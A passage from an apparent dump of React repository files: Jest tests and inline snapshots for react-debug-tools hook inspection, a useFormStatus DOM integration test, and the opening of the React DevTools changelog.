},\n              ],\n              \"value\": \"custom label d\",\n            },\n          ]\n        `);\n      } else\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"LabeledValue\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useLabeledValue\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"a\",\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 1,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"b\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Anonymous\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useAnonymous\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 2,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"c\",\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"LabeledValue\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useLabeledValue\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 3,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"d\",\n                },\n              ],\n              \"value\": undefined,\n            },\n          ]\n        `);\n    });\n\n    it('should support inspectable values for nested custom hooks', async () => {\n      function useInner() {\n        React.useDebugValue('inner');\n        React.useState(0);\n      }\n      function useOuter() {\n        React.useDebugValue('outer');\n        useInner();\n      }\n      function Example() {\n        useOuter();\n        return null;\n      }\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Example />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Example)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n      if (__DEV__) {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Outer\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useOuter\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": null,\n                  \"isStateEditable\": false,\n                  \"name\": \"Inner\",\n                  \"subHooks\": [\n                    {\n                      \"debugInfo\": null,\n                      \"hookSource\": {\n                        \"columnNumber\": 0,\n                        \"fileName\": \"**\",\n                        \"functionName\": \"useInner\",\n                        \"lineNumber\": 0,\n                      },\n                      \"id\": 0,\n                      \"isStateEditable\": true,\n                      \"name\": \"State\",\n                      \"subHooks\": [],\n                      \"value\": 0,\n                    },\n                  ],\n                  \"value\": \"inner\",\n                },\n              ],\n              \"value\": \"outer\",\n            },\n          ]\n        `);\n      } else\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Outer\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useOuter\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": null,\n                  \"isStateEditable\": false,\n                  \"name\": \"Inner\",\n                  \"subHooks\": [\n                    {\n                      \"debugInfo\": null,\n                      \"hookSource\": {\n                        \"columnNumber\": 0,\n                        \"fileName\": \"**\",\n                        \"functionName\": \"useInner\",\n                        \"lineNumber\": 0,\n                      },\n                      \"id\": 0,\n                      \"isStateEditable\": true,\n                      \"name\": \"State\",\n                      \"subHooks\": [],\n                      \"value\": 0,\n                    },\n                  ],\n                  \"value\": undefined,\n                },\n              ],\n              \"value\": undefined,\n            },\n          ]\n        `);\n    });\n\n    it('should support multiple inspectable values per custom hooks', async () => {\n      function useMultiLabelCustom() {\n        React.useDebugValue('one');\n        React.useDebugValue('two');\n        React.useDebugValue('three');\n        React.useState(0);\n      }\n      function useSingleLabelCustom(value) {\n        React.useDebugValue(`single ${value}`);\n        React.useState(0);\n      }\n      function Example() {\n        useSingleLabelCustom('one');\n        useMultiLabelCustom();\n        useSingleLabelCustom('two');\n        return null;\n      }\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Example />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Example)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n      if (__DEV__) {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"SingleLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useSingleLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": \"single one\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"MultiLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useMultiLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 1,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": [\n                \"one\",\n                \"two\",\n                \"three\",\n              ],\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"SingleLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useSingleLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 2,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": \"single two\",\n            },\n          ]\n        `);\n      } else\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"SingleLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useSingleLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"MultiLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useMultiLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 1,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"SingleLabelCustom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useSingleLabelCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 2,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": undefined,\n            },\n          ]\n        `);\n    });\n\n    it('should ignore useDebugValue() made outside of a custom hook', async () => {\n      function Example() {\n        React.useDebugValue('this is invalid');\n        return null;\n      }\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Example />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Example)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n      expect(tree).toHaveLength(0);\n    });\n\n    it('should support an optional formatter function param', async () => {\n      function useCustom() {\n        React.useDebugValue({bar: 123}, object => `bar:${object.bar}`);\n        React.useState(0);\n      }\n      function Example() {\n        useCustom();\n        return null;\n      }\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Example />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Example)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n      if (__DEV__) {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Custom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": \"bar:123\",\n            },\n          ]\n        `);\n      } else\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Custom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": undefined,\n            },\n          ]\n        `);\n    });\n  });\n\n  // This test case is based on an open source bug report:\n  // https://github.com/facebookincubator/redux-react-hook/issues/34#issuecomment-466693787\n  it('should properly advance the current hook for useContext', async () => {\n    const MyContext = React.createContext(1);\n\n    let incrementCount;\n\n    function Foo(props) {\n      const context = React.useContext(MyContext);\n      const [data, setData] = React.useState({count: context});\n\n      incrementCount = () => setData(({count}) => ({count: count + 1}));\n\n      return <div>count: {data.count}</div>;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['count: ', '1'],\n    });\n\n    await act(() => incrementCount());\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['count: ', '2'],\n    });\n\n    const childFiber = renderer.root._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": 1,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": {\n            \"count\": 2,\n          },\n        },\n      ]\n    `);\n  });\n\n  it('should support composite useSyncExternalStore hook', async () => {\n    const useSyncExternalStore = React.useSyncExternalStore;\n    function Foo() {\n      const value = useSyncExternalStore(\n        () => () => {},\n        () => 'snapshot',\n      );\n      React.useMemo(() => 'memo', []);\n      React.useMemo(() => 'not used', []);\n      return value;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"SyncExternalStore\",\n          \"subHooks\": [],\n          \"value\": \"snapshot\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"memo\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should support use(Context) hook', async () => {\n    const Context = React.createContext('default');\n    function Foo() {\n      const value = React.use(Context);\n      React.useMemo(() => 'memo', []);\n      React.useMemo(() => 'not used', []);\n\n      return value;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": \"default\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"memo\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should support useOptimistic hook', async () => {\n    const useOptimistic = React.useOptimistic;\n    function Foo() {\n      const [value] = useOptimistic('abc', currentState => currentState);\n      React.useMemo(() => 'memo', []);\n      React.useMemo(() => 'not used', []);\n      return value;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"Optimistic\",\n          \"subHooks\": [],\n          \"value\": \"abc\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"memo\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should support useActionState hook', async () => {\n    function Foo() {\n      const [value] = React.useActionState(function increment(n) {\n        return n;\n      }, 0);\n      React.useMemo(() => 'memo', []);\n      React.useMemo(() => 'not used', []);\n\n      return value;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"ActionState\",\n          \"subHooks\": [],\n          \"value\": 0,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"memo\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegrationDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment jsdom\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDebugTools;\nlet act;\n\nfunction normalizeSourceLoc(tree) {\n  tree.forEach(node => {\n    if (node.hookSource) {\n      node.hookSource.fileName = '**';\n      node.hookSource.lineNumber = 0;\n      node.hookSource.columnNumber = 0;\n    }\n    normalizeSourceLoc(node.subHooks);\n  });\n  return tree;\n}\n\ndescribe('ReactHooksInspectionIntegration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    ReactDebugTools = require('react-debug-tools');\n  });\n\n  it('should support useFormStatus hook', async () => {\n    function FormStatus() {\n      const status = ReactDOM.useFormStatus();\n      React.useMemo(() => 'memo', []);\n      React.useMemo(() => 'not used', []);\n\n      return JSON.stringify(status);\n    }\n\n    const treeWithoutFiber = ReactDebugTools.inspectHooks(FormStatus);\n    expect(normalizeSourceLoc(treeWithoutFiber)).toEqual([\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: null,\n        isStateEditable: false,\n        name: 'FormStatus',\n        subHooks: [],\n        value: null,\n      },\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: 0,\n        isStateEditable: false,\n        name: 'Memo',\n        subHooks: [],\n        value: 'memo',\n      },\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: 1,\n        isStateEditable: false,\n        name: 'Memo',\n        subHooks: [],\n        value: 'not used',\n      },\n    ]);\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => {\n      root.render(\n        <form>\n          <FormStatus />\n        </form>,\n      );\n    });\n\n    // Implementation detail. Feel free to adjust the position of the Fiber in the tree.\n    const formStatusFiber = root._internalRoot.current.child.child;\n    const treeWithFiber = ReactDebugTools.inspectHooksOfFiber(formStatusFiber);\n    expect(normalizeSourceLoc(treeWithFiber)).toEqual([\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: null,\n        isStateEditable: false,\n        name: 'FormStatus',\n        subHooks: [],\n        value: {\n          action: null,\n          data: null,\n          method: null,\n          pending: false,\n        },\n      },\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: 0,\n        isStateEditable: false,\n        name: 'Memo',\n        subHooks: [],\n        value: 'memo',\n      },\n      {\n        debugInfo: null,\n        hookSource: {\n          columnNumber: 0,\n          fileName: '**',\n          functionName: 'FormStatus',\n          lineNumber: 0,\n        },\n        id: 1,\n        isStateEditable: false,\n        name: 'Memo',\n        subHooks: [],\n        value: 'not used',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools/CHANGELOG.md",
    "content": "# React DevTools changelog\n\n<!-- RELEASE_SCRIPT_TOKEN -->\n\n---\n\n### 7.0.1\nOctober 20, 2025\n\n* Various UI improvements to experimental Suspense tab ([sebmarkbage](https://github.com/sebmarkbage) & [eps1lon](https://github.com/eps1lon))\n* devtools: fix ellipsis truncation for key values ([sophiebits](https://github.com/sophiebits) in [#34796](https://github.com/facebook/react/pull/34796))\n* fix(devtools): remove duplicated \"Display density\" field in General settings ([Anatole-Godard](https://github.com/Anatole-Godard) in [#34792](https://github.com/facebook/react/pull/34792))\n\n---\n\n### 7.0.0\nOct 2, 2025\n\nAdd a \"suspended by\" section showing all causes of why the inspected element suspended. This includes:\n\n- `await` in Server Components  \n- `React.lazy`  \n- `use()`  \n- suspensey images, CSS, and fonts\n\nAdd a Code Editor Sidebar Pane in the Chrome Sources Tab (@sebmarkbage [#33968](https://github.com/facebook/react/pull/33968), [#33987](https://github.com/facebook/react/pull/33987), [#33988](https://github.com/facebook/react/pull/33988))  \n\nAdd Option to Open Local Files directly in External Editor (@sebmarkbage [#33983](https://github.com/facebook/react/pull/33983), [#33985](https://github.com/facebook/react/pull/33985), [#33965](https://github.com/facebook/react/pull/33965))  \n\n#### Other changes\n\n- Allow inspection of React tree before streaming has finished (@eps1lon [#34360](https://github.com/facebook/react/pull/34360))  \n- Always attempt to mount dehydrated roots (@eps1lon [#34209](https://github.com/facebook/react/pull/34209))  \n- Show `name` prop of Suspense / Activity in the Components Tree view (@sebmarkbage [#34135](https://github.com/facebook/react/pull/34135))  \n- 1st class support of used Thenables (@sebmarkbage, @eps1lon: [#32989](https://github.com/facebook/react/pull/32989), [#34097](https://github.com/facebook/react/pull/34097))  \n- Allow inspecting cause, name, message, stack of Errors in props (@eps1lon [#33023](https://github.com/facebook/react/pull/33023))  \n- Allow Introspection of React Elements and React.lazy (@sebmarkbage [#34129](https://github.com/facebook/react/pull/34129))  \n- Fix \"View source\" for sources with URLs that aren't normalized (@eps1lon [#32951](https://github.com/facebook/react/pull/32951))  \n- Fix symbolication with Index Source Maps (@eps1lon [#34300](https://github.com/facebook/react/pull/34300))  \n- Ignore List Stack Traces (@sebmarkbage [#34210](https://github.com/facebook/react/pull/34210))  \n- Linkify Source View (@sebmarkbage [#33954](https://github.com/facebook/react/pull/33954))  \n- Only show state for ClassComponents (@sebmarkbage [#34091](https://github.com/facebook/react/pull/34091))  \n- Show Owner Stacks in \"rendered by\" View (@sebmarkbage [#34130](https://github.com/facebook/react/pull/34130))  \n- Stop mounting empty roots (@eps1lon [#34467](https://github.com/facebook/react/pull/34467))  \n- Show changed hooks names in the Profiler tab (@piotrski [#31398](https://github.com/facebook/react/pull/31398))  \n- Display native tag for host components for Native (@ruslan [#32762](https://github.com/facebook/react/pull/32762))  \n- Static Components panel layout (@ruslan [#33696](https://github.com/facebook/react/pull/33696), [#33517](https://github.com/facebook/react/pull/33517), [#34088](https://github.com/facebook/react/pull/34088))  \n- Add Badge to Owners and sometimes stack traces (@sebmarkbage [#34106](https://github.com/facebook/react/pull/34106))  \n- Make a non-editable name of KeyValue clickable ([34095](https://github.com/facebook/react/pull/34095))  \n- Only inspect elements on left mouseclick (@eps1lon [#34361](https://github.com/facebook/react/pull/34361))  \n- Rerender when the browser theme changes (@sebmarkbage [#33992](https://github.com/facebook/react/pull/33992))  \n- Stop using native `title` for buttons/icons (@eps1lon [#34379](https://github.com/facebook/react/pull/34379))  \n- Style clickable Owner components with angle brackets and bold (@sebmarkbage [#34096](https://github.com/facebook/react/pull/34096))  \n- Swap Components tab layout based on container size (@eps1lon [#34035](https://github.com/facebook/react/pull/34035))  \n- Use Visually Lighter Skeletons (@sebmarkbage [#34185](https://github.com/facebook/react/pull/34185))\n\n---\n\n### 6.1.5\nJuly 4, 2025\n\n* fix: fallback to reading string stack trace when failed ([hoxyq](https://github.com/hoxyq) in [#33700](https://github.com/facebook/react/pull/33700))\n\n---\n\n### 6.1.4\nJuly 4, 2025\n\n* feat: static Components panel layout ([hoxyq](https://github.com/hoxyq) in [#33696](https://github.com/facebook/react/pull/33696))\n\n---\n\n### 6.1.3\nJune 27, 2025\n\n* devtools: emit performance entries only when profiling ([hoxyq](https://github.com/hoxyq) in [#33652](https://github.com/facebook/react/pull/33652))\n* Get Server Component Function Location for Parent Stacks using Child's Owner Stack ([sebmarkbage](https://github.com/sebmarkbage) in [#33629](https://github.com/facebook/react/pull/33629))\n* Added minimum indent size to Component Tree ([jsdf](https://github.com/jsdf) in [#33517](https://github.com/facebook/react/pull/33517))\n* refactor[devtools]: update css for settings and support css variables in shadow dom scnenario ([hoxyq](https://github.com/hoxyq) in [#33487](https://github.com/facebook/react/pull/33487))\n* Get source location from structured callsites in prepareStackTrace ([sebmarkbage](https://github.com/sebmarkbage) in [#33143](https://github.com/facebook/react/pull/33143))\n\n---\n\n### 6.1.2\nMay 7, 2025\n\n* 